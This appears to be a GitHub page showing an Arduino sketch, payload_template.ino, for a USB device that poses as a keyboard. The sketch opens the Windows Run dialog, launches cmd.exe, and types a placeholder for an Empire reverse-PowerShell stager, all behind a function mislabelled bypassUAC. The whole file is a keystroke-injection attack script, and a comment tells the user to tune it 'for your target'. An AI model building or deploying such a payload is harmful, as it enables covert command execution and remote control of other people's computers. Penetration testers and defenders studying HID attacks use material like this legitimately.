forked from tkisason/peking_duck
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpayload_template.ino
74 lines (69 loc) · 1.29 KB
/
payload_template.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <HID-Project.h>
// Stolen from overthruster. (https://github.com/RedLectroid/OverThruster)
// Most of the stuff should be compatible with his tools.
void setup() {
Keyboard.begin();
hurryUp();
killCaps();
bypassUAC();
bubblePopup();
//THIS DELAY IS IMPORTANT, AND MAY NEED TO BE MODIFIED FOR YOUR TARGET
delay(2000);
reversePSH();
Keyboard.end();
}
void pressEnter(){
Keyboard.press(KEY_RETURN);
delay(100);
Keyboard.release(KEY_RETURN);
}
void hurryUp(){
boolean areWeThereYet = capsCheck();
while (areWeThereYet == capsCheck()){
hitCaps();
}
hitCaps();
}
boolean capsCheck(){
if (BootKeyboard.getLeds() & LED_CAPS_LOCK){
return true;
}
else{
return false;
}
}
void hitCaps(){
Keyboard.press(KEY_CAPS_LOCK);
delay(100);
Keyboard.release(KEY_CAPS_LOCK);
}
void killCaps(){
if (capsCheck())
{
hitCaps();
}
}
void bypassUAC(){
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(200);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(100);
Keyboard.println("cmd.exe");
delay(100);
pressEnter();
delay(500);
}
void bubblePopup(){
}
void reversePSH(){
Keyboard.println("<INSERT EMPIRE STAGER PAYLOAD HERE>");
pressEnter();
Keyboard.println("exit");
delay(100);
pressEnter();
}
void loop()
{
}